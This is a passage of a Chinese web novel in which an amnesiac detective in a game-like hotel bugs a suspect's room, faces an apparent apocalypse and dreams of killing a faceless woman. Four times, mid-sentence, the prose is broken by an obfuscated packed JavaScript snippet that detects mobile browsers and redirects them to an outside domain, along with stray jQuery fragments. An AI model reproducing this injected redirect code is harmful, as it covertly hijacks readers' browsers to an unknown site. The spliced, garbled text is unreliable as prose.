例如,在日本的推理文学中,这就是一种常见的设计——「彼たち」用于称呼复数的男性,与之对应的,「彼女たち」则用来称呼复数的女性。 如果一个需要被使用代称的群体中有男有女,就只能用「あの人たち」,意即“那些人”。 这代表着什么? 这代表着两种情况: 一,两人确信原配所雇佣的私家侦探是一名男性,所以毫不犹疑地使用了"HE"来代称; 二,两人尚未知晓私家侦探的真实性别,只是下意识地采用了"HE"作为代称。 我比较倾向于第二种情况。 首先必须明确的一点是,作为侦探本人,我比任何人都清楚自己的性别。 而六个人中只有沃克和莱特是毋庸置疑的男性,因此如果目标及其情人坚信侦探是男性,那对手是谁,不就一目了然了? 然而据我观察,沃克和莱特都没有表现出明显疏远、提防对方的迹象,当然也没有过分亲密,两次在餐厅里的会面皆一切如常。 也即现状和第一种情况是相悖的——如果目标已经知道,除自己以外的另一个男性一定是被派来抓奸的侦探,那肯定唯恐避而不及。 否则被抓到马脚,他可就身败名裂了,什么社会地位和体面的职业,通通都得化为泡影。 所以应该是第二种情况——目标与情人只知自己被盯上,却没有掌握对方的身份信息。 之所以用"HE"来代称,完全是下意识的举动。 啧,这么一想,感觉可真不爽。 凭什么默认侦探就一定是男的? 我出去之后,得给游戏制作者发邮件,这样的文案设计大有问题。 为避免歧视和误解,英语中早就不用"he"或"she"指代性别不明的人了,一般都会选择"it""they"或"aperson"这样的中性代词。 心念电转间,401已到了。 要我说,这W也太大嘴巴了,请个私家侦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609670|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探怎么闹得人尽皆知的,还想不想我好了……咦? 按照惯例,我手放在门把上一拧——竟然开了。 开了?! 莱特完全没锁门?! 这家伙,心可不是一般的大啊! 我仅仅犹豫了一瞬就径直进去了,熟练得简直就像惯犯(这么说自己似乎不太好,但也许我没失忆时经常干这种事,意外地轻车熟路呢)。 NPC有没有隐私权我不知道,但为了我能完成游戏任务,小小牺牲一下莱特的隐私权,应该也无伤大雅吧? 更何况他根本没关门啊,四舍五入那不就是在邀请我进去吗?人家主动邀请,焉有不进之理? 厚重的窗帘拉着,缝隙中漏出几缕惨淡光线。 借着这光,我环顾四周:他的房间格局和我的没什么两样,都是一间起居室连着一间卧室的套房,外加一间浴室。 唯一不同的就是到处乱丢的衣服,沙发、地毯、茶几……甚至电视上都挂了一条轻薄的小布料(Myeyes!我在反应过来的一瞬间就马上扭开脸,好让自己看不清那是什么。不过由于我的扫描速度过快,等我意识到那是什么时,已经来不及了,哈哈……),好像一间刚遭遇了洗劫的时装秀化妆间。 大造型师的房间果然别具一格。 思来想去,还是茶几的桌板底下最适合黏窃听器:这里不仅是视角盲区,而且三个空间的动静基本上都能收到。 因为藏在这里不用考虑大小,我还特地挑了性能最好的一枚窃听器。 直起腰,我的目光便顺理成章落到窗帘上。 有件事始终令我很在意,但到刚才为止,它都只是一种捉摸不透的感觉,无论我怎样绞尽脑汁,也捉不出这团毛线的线头,想不通怪异之处在哪儿,如同雾中行车。 直到此时此刻站在这里,才终于明晰。 还记得么?在餐厅里,莱特驳斥莫莉时,说过的那句话—— “要么这是你的幻觉,要么噪音是从街上或楼上楼下传来的!” 楼上楼下也就罢了,在猜测噪声来源时,他为什么还要特意加上一个“街上”? 要知道,我们住的可是超豪华的酒店,就连普通客房都是一居室的套间。即使天花板雕刻着变化多端的繁复花纹,堪称卫生死角中的死角,清洁人员仍然十分敬业,一丝不苟地全部打扫得干干净净,这恐怕不是随便哪间小旅馆都能提供的服务。 我在床头柜上摆放着的《Anyone酒店指南》里更是读过,无论是温泉、花园和餐厅,还是水疗、泳池和高尔夫球场等设施,这间酒店都样样齐全,堪称奢华无度。 除了电视机需要更换——也许是上一位房客没有使用过电视,所以他们并未及时发现这一点? 我那一侧的房间位置稍微差点就算了,好歹不是直接临街,中间还隔着好几条绿化带,且又在四楼,窗一关,外面就算吵得天翻地覆,轻易也听不见。 总不见得莱特这一侧的房间也靠着主街道吧? 若真是这样,这家酒店哪儿来的大脸自称五星级。 所以……莱特在自己的房间里拉开窗帘向外张望时,到底看见了什么? 我伸出手,抓住窗帘边缘,毫不犹豫地用力一掀。 11. 孤立无援(1) 一股寒意蓦然从心底蹿出来。 红云密布,吞噬了天幕的边边角角,犹如猩红色的火舌疯狂舔舐着穹顶。 一轮大得出奇的血日正飞快地升起,几乎占据了视野中的半个天空,不敢想象外面究竟是怎样的高温炼狱。 在它之下,高楼林立,不远处的建筑物猛然爆发出地动山摇的轰鸣声,爆炸时掀起的气流顷刻间便将整栋楼的玻璃窗碎为齑粉。 没了阻挡,火光噌地蹿出,雪白的楼体瞬间伤痕累累,满身被燎过的灰黑。 “啊——” 不知从哪儿传来一道女人撕心裂肺的叫喊声,听得人心惊肉跳。 与此同时,房中所有的灯光癫狂地闪烁起来,明明灭灭,幽暗的角落里,似乎潜藏着一双双正向外窥视的眼睛。 世界末日降临了吗? 我隐约有种感觉: 名为“秩序”的东西,訇然崩塌了。 谁能想到,这一开始只是个拳打人渣、脚踢小三的游戏呢? 心脏怦怦跳动,血液直往脸上涌。我心有余悸,正要拉好窗帘,忽觉背后一道呼呼风声—— 躲过了! 多亏了22岁的反应力,我矮身一让,抬手便抓住了直袭我脑袋的那东西——表面光滑,又凉又硬,细长的一条。 侧脸一看,末端扁平的一块,像颗超大号的葵瓜子似的,这不就是高尔夫球杆吗? 要真给打中了,不开瓢也得脑震荡。 我又惊又怒,一回头,与同样惊怒不定的莱特面面相觑。 “你是谁?!” 终究还是莱特先打破了僵持,方方的额角早已布满细密冷汗,这反而清洗了他略显油腻的气质,“你怎么会出现在我的房间里?” 这蠢货绝对是喝多了! 我忍下一杆子敲醒他的冲动,垂着眼皮,口罩上缘若即若离擦过睫毛,平心静气道:“我是保洁员,来打扫客房。” 他瞎吗?门口那么大个保洁车看不见?我这身工作人员制服也看不见? 亏我还大费周章把保洁车从洗衣房推出来,说不定根本没这个必要,被抓包了直接一个手起刀落给他劈晕就行,反正醉鬼没人权。 他脸颊晕着两团不自然的酡红,醉得都快站不稳了,勉强睁大双眼,这才看清了我这身打扮,懵懵地点头,“哦……那你去内间打扫吧,仔细着点儿,昨晚……” 昨晚什么? 还不等说完,莱特便头朝下一栽,倒在地上,睡得不省人事了。 服了,不要话说到一半就不说了呀,怪吊人胃口的。 好在他已经睡着了,我大可以自己去看。 这儿可真够乱的。 好不容易从沙发上清出一块地方,我拖着莱特双臂,把他提上去。 垂眼一瞥,他扣子没系,大敞的领口处,两条交错的粗长红痕延伸而出,若隐若现,每条都约有一指宽。 我嗤笑一声,不以为意。 真正的保洁会贴心地帮客人把所有衣服都叠好,床单被褥也更换整理一番。但我这个假货当然不可能干这种既辛苦又没工资拿的事情,何况这名保洁今后也不会再出现了,更没有假惺惺敬业的必要。 进入内间,久不通风的室内弥漫着一股形容不出的古怪气味,床单皱巴巴又乱糟糟,还有一片萎缩的不规则湿痕,显然距离它被制造出来已有些时候,现下只是尚未完全干涸罢了。 床头柜上扔着几片橙色的方形塑料,上印一朵长着红伞盖的蘑菇,都是被撕开的。 那是避孕套的包装袋——哟,还是凸点螺纹,真会玩。 我怎么说也是个成年人,自然明白这是什么意思,不由蹙紧了眉,嫌恶地退出去。 莱特·李,他果然是目标之一! 不,该说是“竟然”吧?毕竟在亲眼目睹这一切以前,我一直以为沃克才是那个劈腿渣男。 这么说,其实昨晚本就有机会收集证据,但却被我白白放跑了……你们这些拦路虎我怎么那么讨厌呢?! 离开401之前,我深深打量了沉睡中的莱特一眼—— 左手无名指光秃秃,既没有戒指也没有戒痕。 毛孔粗大、眼袋浮肿不说,黑眼圈更是都沉到苹果肌了,一副被酒色掏空的萎靡模样。 在这件事里,他到底扮演了什么角色? 这副挫样竟然都有人愿意跟他结婚、愿意跟他搞婚外情,真是令人大开眼界。 还有,我有没有说过他长得很像电影《无人生还》中那个非常让人不爽的安东尼·马斯顿?成天嬉皮笑脸的,好不容易不笑了,又跟个超雄一样,上来就当头一棒,真想回他一拳! 但我最终还是忍住了,素质很高地没有趁人之危。 我很顺利地从洗衣房那一侧的走廊回到了自己的房间,顺便把保洁车送回了洗衣房。 帽子、工作服、手套和口罩必须得处理掉,因为上面可能会残留有我的黑色头发,与其它五人的毛发颜色都不同,万一暴露了很容易被认出来。 这倒不是什么难事。我消耗了一本《手作泰迪熊家族》,变出一只一人多高的玩具熊,拉开它背后的拉链,将这些东西卷得尽可能小,塞进去,再把这只玩具熊放在房间角落。 然后退到玄关处,审视着它与这个房间的适配度。 玩具熊两只无机质的黑眼珠死气沉沉地望过来。 完美!最危险的地方就是最安全的地方,这样它看起来就只是房间内一件平平无奇的装饰物了。而我也可以借此机会测试我的技能持续时间。 接下来只要专心监听莱特即可。沃克是顺带的,安都安了,听听总没坏处。 但在那之前,我还需要搞清楚一件事。 我用床头柜上的座机拨给前台,听筒里传来“嘟——嘟——”的提示音,却始终没有人接听。 这是否意味着,昨天接电话那女孩已经遭遇不测? 我心里登时有点不是滋味。 她的声音听起来很亲切,和她对话的确让我感到了些许安慰。 我不愿意把事情往坏处想,但事态显然已不容乐观了。 外面究竟发生了什么事? 患上失眠症的人最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609671|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都如何了? 前台女孩嘴里的“那东西”具体指的是什么? 这几件事之间有什么关联? 我想得脑袋都要炸了,但仍是毫无头绪,最终决定暂时扔下这一团乱麻。 反正迟早都是要面对这一切的——别忘了任务4。 我不是会为了打翻的牛奶哭泣的人,现在多想无益,做好该做的,走一步看一步吧。 只是人算始终不如天算,再次出乎我意料的是,仅仅过了几个小时,我们就不得不面对更加严峻的生存问题—— “怎么回事?送餐的人呢?”莱特叫嚷道。 他面色通红,额角青筋爆出,一双眼珠鼓得几乎凸出眼眶,直愣愣对着空空如也的餐台,“刚才明明还有保洁来打扫房间的!” 看样子他酒已经醒了,而且没有断片,但仍然改不了这副一惊一乍的德性。 “瓶装水也没人补充。” 莫莉接过话头,抬手指了指摆放餐盘的台子。 以往那里总会整整齐齐码着一大堆矿泉水,但现在空空如也。 我早该想到的,连前台人员都杳无音讯,其它员工就更不可能照常上班了。 黛西挑了挑眉,诧异道:“那儿放了得有几十瓶水,我们六个人怎么可能在一夜之间就消耗掉这么多?” 虽然她并没有直接把话挑明,但在场之人无不变了脸色: 有人把剩下的瓶装水全部拿走了。 平日里贪点小便宜也就罢了,可外面的异象大家应该都看到了,那些水搞不好够我们撑到救援来的。 毕竟人不进食还可存活七天,但不喝水,估计三天就得去上帝跟前报到了。 “我给前台打了电话,没人接。” 沃克紧拧眉心,适时走进来,“包括水疗、健身房、高尔夫球场之类的服务号码,一样没人接。” 我心道当然不会有人接,恐怕工作人员都自顾不暇了——该死,我早该反应过来的! 既然前台都没人接听,那么厨师当然也不可能正常上班了! 我们六个人似乎被遗忘在这里了。 “要不我们出去看看到底发生了什么事?也许还能借机求援。”我提议道。 “不行。” 没想到否定我的会是伊丽莎白。她神经质地啃着指甲,慢吞吞道:“你们跟我来。” 我们一行人便依言跟着她出了餐厅,来到走廊上。 本层唯一的出口便是与餐厅和402房处于同一条走廊的电梯和楼梯。这里是四楼,要走楼梯费劲得很,况且大家入住时应该带了不少行李,估计都是乘电梯上来的。 我本以为伊丽莎白要带我们看电梯出了什么幺蛾子,谁知她却将我们领到楼梯口门前,朝门上一指—— “啊!” 莱特惊慌失措地尖叫一声,倒退几步,脸上血色唰地褪得干干净净。 “你这男人在鬼叫什么!”黛西不耐烦道。 然而当视线移向门上的玻璃时,她也顿时白了脸,嗫嚅着嘴唇,半晌吐不出一句话来,艳红瞳孔都快缩成针尖了。 12. 孤立无援(2) 血,大片大片凝固的血迹,已经微微发黑,像有人站在门后,朝玻璃上泼了一大桶黏稠的油漆。 其中凌乱地夹杂着几个血手印——掌心空了一块,张开的五根手指形状分明,指纹清晰可见。 我甚至能根据大小和长宽,辨认出这应该是个成年男性的手。 这道逃生门并非通体透明,一左一右两块门板,各嵌了一块约占五分之二面积的玻璃。 露出的部分尚且如此骇人,那门后的全貌该有多么恐怖? 门把手上挂着一把崭新的大锁,光可鉴人,摸起来还油油的。我试着拧了拧,很结实,没有钥匙根本打不开。 难怪这个可怜的人临死之前只在门上留下了几枚血手印,门是向内锁的,他根本不可能逃进来。 等等……怪不得前台女孩说这层楼很安全,她应该也知道四楼的楼梯门上了锁,“那些东西”进不来。 可电梯还能正常使用啊?难道电梯里有结界?“那些东西”坐不了电梯吗? 不,不对。 我想应该不是“不想”,而是“不能”—— “那些东西”的智力,很有可能不足以支撑它们使用电梯…… “那我们该怎么办?!” 我的思绪突然被一声崩溃的叫喊打断。 抬头一看,原来是莱特。他恐慌地双手抱头,目中无神,嘴里喃喃念叨着什么“不该来的、不该来的……都怪你、都怪你……” 他的情绪化仿佛又发作了。 真奇怪,明明昨天看起来还挺正常的一个人,今天怎么频频处于暴走边缘? 仅仅是酒精的作用吗? 我想说不定还有恐惧的加持。 同样不正常的人还有伊丽莎白。她腹中嗡嗡作响,越来越大,就好像胃酸在她空无一物的胃中掀起了惊涛骇浪一般—— 距离早餐时间仅仅过去了四个小时,被关在这里,她一个老年人,估计也做不了什么大幅度消耗体力的事情吧?小冰箱里又不是没有吃的,怎么会饿成这样? 最奇怪的倒不是肚子饿,而是啃指甲这样一件看似正常、实则放在她身上就是不正常的事情——她的双手保养得非常精细,虽然皮肉干瘪,血管的形状清晰可见,昨天织毛衣时仍表现得十分灵活,还用心地涂上了朱红的指甲油。 但现在一啃,指甲油涂层便斑斑驳驳脱落了几块,原本修剪齐整的边缘也被咬得坑坑洼洼(她的假牙质量真好,也许我需要她牙医的联系方式)。 就像换了个人似的—— 这一联想令我毛骨悚然。 …… 六个小时后的晚餐时间,餐厅内的餐台仍然没有得到补充,仿佛我们真的是世界上仅剩的六个人,虽然活着,却被遗忘。 我对此早已不抱希望,况且现状其实还没那么糟糕——别忘了,我可是身具从书中变出东西的异能呢。 话虽如此,但我也不得不做最坏的打算: 我的行李箱容积实际上并不大,带来的书说多也着实不多,食物相关的书更是少之又少(更何况我还在一无所知的情况下,用掉了一本写着大量美食的《刀叉间的谋杀》,damn!真是肠子都快悔青了),估计是因为一开始完全没想到会被困住,且在五星级酒店里竟然会面对断水断粮的问题吧。 原来任务4中所暗示的生存危机是这个意思。 现在已知的生命威胁有两个: 一是缺水缺粮,二是“那些东西”。 后者还好说,只要我们不主动离开四层,它们就无法进来;但要解决前者,就免不了面对后者。 真是进退两难啊。 我知道仅凭我一人,存活到第七天的希望渺茫,变数太多。目前大家都还能靠着小冰箱里的食物暂时捱过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609672|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几顿,但—— 食物吃完之后呢? 虽然有朊病毒的威胁,但人一饿起来,可就管不了那么多了。 届时,我们六人就是一个弱肉强食的小社会。 况且,光有食物吃不够,还得向外界求援,借助外来力量逃离这里。 因此我们必须团结起来,才能获得最终的胜利。 我找上的第一个人是莫莉。 原因之一是,她是五个人中最让我感到亲切和舒适、最有安全感的,像小时候经常一起玩的邻家大姐姐一样…… 咦?奇怪,我小时候有邻居姐姐么? 不知道,只是下意识就这么认为了。 难道我的记忆正在渐渐恢复? 不管怎么说,这应该是个好兆头吧?记忆的恢复,无疑意味着我使用自己的异能会越来越得心应手。 至于另一个原因,现在先按下不表。 我和莫莉的房间其实正好对着,中间隔着电梯和楼梯的体积,因此无论从哪条路绕过去找她,要走的路程都是一样的。 哦不对,餐厅那一侧要更远些。 但我还是选择从餐厅一侧过去。 来到406房门前,按响门铃,我特意站到可视门铃能照见的范围内。 “谁呀?” 像客套一样,虽然有猫眼,门里的声音依旧下意识问。 我举起双手,做出投降动作,示意莫莉自己看—— 我没有携带任何武器,对她毫无威胁。 没叫我等多久,咔嚓一声,门轻轻打开了。 莫莉从门缝里露出半张脸,隔着防盗链,朝我温柔一笑:“亲爱的,你有什么事吗?” 果然,她没对我摆出这么怪异的姿势表现出一丝一毫的诧异。 正如我所料:在每个人都意识到现有的生存危机时,猜疑链就自然形成了。 13. 莫莉坦白 她穿着睡衣,首饰都摘了下来,头发箍起,露出羊脂玉似的耳垂。脸上湿漉漉,应该是刚敷完面膜,准备要就寝了。 我轻声请求道:“能进去说吗?” 我不想惊动一左一右的沃克和莱特。 “当然可以。” 她丝毫没有迟疑,摘下防盗链请我入内,“不能拿食物招待你,请见谅。” “没关系。”现在资源紧张,吃的就像命根子一样,我当然能理解。 她的房间香气扑鼻,有种若即若离的暧昧感,既不过分浓烈也不过分清淡,但就是存在感极强,强势得令人无法忽视。 这并非她惯用的柚木香水,我来了兴趣,一问,莫莉说这是她特意请调香师定制的一款紫茉莉香薰,安神作用极佳,每次失眠就点上一支,只是最近都不大管用了。 除此之外,房间里还非常整洁,东西虽多,但收纳有道。我猜除了小冰箱内的饼干水果以外,她自己还带来了不少吃食,因为每次用餐结束,她都会再吃些酸奶山楂之类的消食小零食溜溜缝。 这习惯倒是跟认识的一个人很像,只是我一时半会儿却想不起来是谁。 已经是晚上十点多了,我开门见山道:“莫莉,我们现在要离开这里,必须齐心协力向外界寻求帮助才行。” “啊,这是当然。”她点点头,“你想和我联手?” “不止你,是所有人。” 我立即纠正她:“我想带大家都离开,少了谁都不行。” 莫莉脸上的笑容更大了。 “你挺乐观的嘛。但你特意挑了这个时候来找我,想说的应该不只有这个吧?” 她真聪明啊,这都被她看出来了。 没错,我的确另有所谋。 “你答应了?” “这对我又没什么坏处,岂有不答应的道理?我当然也想回家呀。” “好。”我点点头,“既然我们已经是同盟关系,有一件事,我希望你能坦诚。” 肉眼可见地,莫莉怔愣了一下,呼吸都变得急促起来,通透的白皙皮肤也变得粉扑扑的。 她虽然抬起脸,不知为何,视线却忽闪,焦点也避着我的眼睛走,颇不自然道:“你都知道了?” “知道什么?” 我头顶的问号简直要像雨后春笋那样冒出来了,“我是想问你,其它四个人中,一定有你认识的人对吧?” 主动出击总好过停滞不前,莫莉就算不是W也不可能是小三,否则她没有打招呼的必要—— 在我的认知里,当三这种不光彩的行为不都得偷偷摸摸进行的吗,哪有上来就大大方方打招呼,闹得人尽皆知的啊。 况且莫莉看着也不像会委身于莱特的样子,那简直比《美女与野兽》还要天理难容啊! “你怎么知道?” 她怔住,片刻后缓缓舒了一口气,却目露失望。 显然我的问题并不是她预想中的那一个。 真奇怪,她以为我想问什么? “昨天晚餐的时候,我本来以为我们都是第一次见面,但只有你,跟我们中的某一个人打了招呼,我碰巧看见了。如果有你认识的人,我想我们联合所有人的动作会更快。” 我连炮珠似的吐出一连串话,希望她能跟得上我的语速。 这就是我首先找她的第二个原因了: 倘若其余四人中有莫莉的旧相识,那我团结大家的计划会进展得更顺利。 然而她却没有第一时间应下,只是平静地望进我的眼睛。 “你希望我告诉你,这个人是谁,对吗?” 当然,因为这可能对我揪出任务目标有所帮助,但是——“你不想说当然可以不说,这是你的隐私……” “是柯林斯先生。” 她脱口而出,我大吃一惊—— 这是我完全没想到的一个人。 然而接下来,她的话更像一颗重磅炸弹,把我轰地炸得晕头转向—— “我们结过婚。” “什么?!” 我像一只塑胶尖叫鸡玩具那样乍地尖叫出声: "AREYOUKIDDINGME?!" 莫莉? 和沃克?! 怎会如此!! 尽管女美男帅,站一起的话看起来的确很般配,但我敢对天发毒誓,在此刻之前我一直认为两人是八竿子打不着的关系—— 结果你现在告诉我,这两人曾经是可以同床共枕的关系?! "OH,MY,GOD." 我一字一顿道。毫无波澜的外表下早就掀起了不知多少惊涛骇浪。 这比莫莉是莱特他妈还要让我震惊。事实上我之前做好的就是听到类似消息的准备,因为我一直认为与莫莉有所牵连的那个人应该是莱特才对。 怪不得啊,怪不得。 怪不得我第一次听到沃克喊莫莉的名字,就是用的姓氏: 他称呼她为"Ms.Swift"—— 要知道,莫莉从来没有说过自己的姓氏,而我也是看过那份资料,才预先得知的。 再者,就是因为不想指明她的婚姻状况,才特地使用了较为隐晦的"Ms"——他在走廊上叫住我的时候,用的可是"Miss"呢。 “很抱歉吓到你,但……事实就是如此。” 莫莉一脸歉意地望着我,“我们结婚是有原因的,不是出于感情的结合,与其说是夫妻,更像是合作伙伴。后来我们都在这桩婚姻的掩饰下得到了自己想要的,就顺理成章地离婚了。相信我,好吗?” “不不,我没有不相信你的意思,我只是……很震惊。非常震惊。”我语无伦次道。 莫莉见我久久未能从震惊中回过神来,便给我端来一杯透明的液体,解释这是掺了白兰地的水。 我不疑有它,仰脖,一口饮尽。 “所以你们为什么离婚了呢?” 喝掉这杯特制的提神饮料,片刻后,我终于渐渐缓过劲来了。 不是怨偶吧?否则我的计划恐怕要中道崩殂了。 很多曾是伴侣的人分手后甚至老死不相往来,因为一见面就少不了相看两厌,更别提一起共事了。 他俩要是闹掰了,可不利于团结啊。 “一些……个人原因。” 她语焉不详道:“现在还不是告诉你的时候,等过些时日,我再告诉你,好吗?我会帮你说服柯林斯先生和斯科特女士加入我们,我保证。” 莫莉用她那双仿佛会说话的大眼睛恳切地注视着我,明亮的橄榄绿中闪烁着哀求——见着这么一双眼睛,我哪儿还有不答应的理由。 况且我其实无所谓她告不告诉我,NPC也是有隐私的嘛。 事情很顺利地办成了。我告别她,从洗衣房那一侧的走廊回到了404房,洗漱一番便上床睡觉了。 …… “你敢……杀我……” 躺在地上的无面女人咳了几声,血沫溅在地板上,嘴角也不断溢出鲜血。 “当然敢。” 嗤! 我拔出深深插进她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15609673|172143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸口的美工刀,血如泉涌。 锈刃穿过皮肉的奇妙感觉不由令我眯起了眼。 几分钟前—— 甫一睁眼,迎面一巴掌径直把我打得脑袋嗡嗡作响。 嘴角针扎一样地痛,伸舌头探了探,果然尝到一嘴血腥。 然而这还没完,呼呼风至,又一道阴影盖下来,遮天覆地。 我本能地一抬手,抓住那只手臂。 刚抓上去我就暗叫不好:她太强壮,我这具身体根本没有足够的力气阻止她,双手并用才能拼命制住她一只手。 于是她的另一只手马上接班——啪、啪、啪、啪,左右开弓,铁蒲扇般的大手又接连扇了我四个巴掌。 我头昏脑涨地躺在地上,鼻子中开始汩汩流清液。 完了,该不会是脑脊液鼻漏吧? “你还敢反抗?哼,你还敢反抗!” 我从这话中听出了小人得志的猖狂,前所未有的屈辱和怒火瞬间暴涨,撑得血管心脏大脑都要统统爆开。 怪不得说打人不打脸,打脸伤自尊,我现在真恨不得一下一下马上把这女人捅成烂泥。 她粗涩的手掌擦过我的脸,在皮肤上留下令人作呕的触感,于是我每回想一次,喉头就发酸一次,但脑子偏巧就不听使唤,自虐般一遍一遍回放我被连扇五个巴掌的画面。 所以呢,这次挨打的原因又是什么? 我能向谁求助? 谁能来救救我? 我第一反应竟然是给爸爸打电话。 但几次进气之后,这念头便缓缓隐去了。 待眼睛适应了强灯光后,我慢慢从地上坐起来,环顾四周—— 这是个只有几平米的小房间,挤挤挨挨地摆着一张床、一个衣柜和一张书桌,留出一条仅容一人侧身通过的过道后,就再也塞不进其它东西了。 “你还敢打我,我今天就打到你服气为止!你不服就杀了我啊!” 女人头发散乱,眼神狠戾,野兽似的越说越激动,尖啸一声便突然暴起,眼看就要扑到我跟前! 噗呲—— 鲜血迸出的声音。 我双手紧紧握住从书桌上抓到的美工刀,借助她冲过来的势头,猛然向前一送,狠狠刺入她胸口—— 无面女人身形一僵,一线鲜红自唇角淌下,大睁着眼,一副不敢置信的样子。 我报之以面无表情,嘴里不断念叨:“去死、去死、去死……” 随着每一声“去死”落下,锈迹斑斑的美工刀刀片不断捅入、拔出、捅入、拔出…… 我机械性地重复着流水线动作,迟钝的大脑渐渐意识到,自己有点像在扎小人。 马赛克缓缓溢出聚焦处,模糊了视线。我动作一顿,“嚓”一声拔出,反手将染了血的美工刀放回桌上。 昨天那个神秘人叫我千万不要听无面女人的话,也千万不要按她说的做。 所以这无面女人的所作所为,应该都是故意激怒我。 那我就将计就计,看看到底会发生什么。 呵——不入虎穴,焉得虎子嘛。 仿佛永远也流不尽,鲜血慢慢在无面女人身下织成一张黏稠厚重的猩红地毯,浓浓的铁锈味直冲鼻腔,又闷又腥。 她面色苍白,用尽全身的力气咧嘴一笑,得意而又艰难道:“你……终于……杀了我……” 随着她轰然倒下,眼前场景陡然如狂风过境般呼啸而去。 天旋地转间,我下意识低头,蓦地一怔: 我的手怎么变得这么小了? 14. 异能领域 再往下看去,粗糙的涤棉混纺面料长裤,还是绿色的,看起来是一套典型的中国式校服的下装。 这久违的装扮不由使我沉默了片刻。 然而没能沉默多久,额头一痛—— “不懂做的就跳过,等做完其它题再回过头来检查,这道理我讲过几次了你怎么还不懂?!” 她一边骂,一边戳,一下一下地戳,把我当成一块毫无生命、毫无尊严的死肉来戳。 虽然我在她嘴里像一只怎么敲也敲不响的破鼓,但我就是怎么都开不了求饶的口。 倘若示弱,我会更加憎恶这样死气沉沉的自己。 因此我的头颅和脖子始终保持着被戳歪的角度,没法正回来,也不敢正回来——她的手指离我的眼睛不过几厘米,力道却不曾收敛半分。 我要是不伪装成一只温驯的绵羊,恐怕这只眼睛就别想要了。 一路走来,不知有多少人目睹了这一幕。我能读懂他们嘈嘈切切的眼神中不忍居多,至于其它的情绪,我不想去解读。 沉重的羞耻感几乎使我喘不上气来。 这些看客中不乏小孩子,也不知道有没有“我”的同学。 每每这时,我总是安慰自己,时间能冲淡一切,生命中根本没有那么多看客,他们看过这一阵热闹,转眼就忘在脑后了,无须担心我的狼狈和不堪被刻在记忆的耻辱柱上。 当然,要是我也能忘掉就好了。 不过,此刻的我倒是平静得很,反正这里只是梦境,而真实的我也没有亲身经历过这些事…… 应该没有吧? 自从明白了这些都是为激怒我而设置的羞辱性测试,脑海中那道不停叫嚣着“杀了她”的声音反而小了许多。 而且—— 我一手插在校服外套的口袋中,掂了掂里面那把长条形的小东西。 我不介意再杀她一次。 抬手揉了揉被吵得极其不适的耳朵,眼看就快走出校门,有个大婶突然冲过来,一把抓住无面女人的手,制止了她仍在不断往我头上戳的动作。 只听大婶义愤填膺道:“我实在看不下去了,有什么事不能好好说,要这样对孩子?这一路走过来多少人看着哪,孩子也是有自尊心的!多可爱的小姑娘,你瞧瞧,额头都给你戳红了!你这当妈的一点儿都不心疼的么?” 我和那女人都愣了一愣。 我是因为没想到有人会出手阻止。 而那女人为什么发愣,我就说不好了。 “我的孩子,怎么管教她当然是我说了算!” 无面女回过神来,也不甘示弱,奋力将手抽回,从腋下包中掏出一张试卷—— 我抬头一看,是语文,卷头上写着鲜红的数字,81分。 目光再往上移,那张空空如也的脸上竟浮现出一张殷红的嘴唇,口红有些脱色了,唇纹很深,隐隐有干裂的迹象。 视线一触即分,但这张独属于女人的嘴唇在顷刻之间已深深印入了我的脑海。 这唇形正是我所熟悉的,但我就是死活想不起来在哪儿见过。 况且,只有一张嘴,比完全没有五官要可怕得多了好吧? 我根本一眼也不敢多看啊! 但隐隐约约地,我心头浮现出一个猜测: 就像玩拼图那样,莫非我杀她一次,她的脸就会复原一部分? 也就是说,只要我杀她的次数足够多,我就能看清她的脸?借此恢复记忆? 如果她的确是……某个我相熟之人……的话。 “婶子,你看看,这里,组词题,要求先写一个足字旁的字,再用这个字组一个词,她就因为想不出来这个字,就卡在这里,后面的题全部不做了!一直干耗到收卷。你说说,有她这么蠢的吗!” 无面女越说越激动,直说得唾沫横飞,手指将试卷拍得啪啪作响。大婶却面露古怪,上下打量了她一眼。 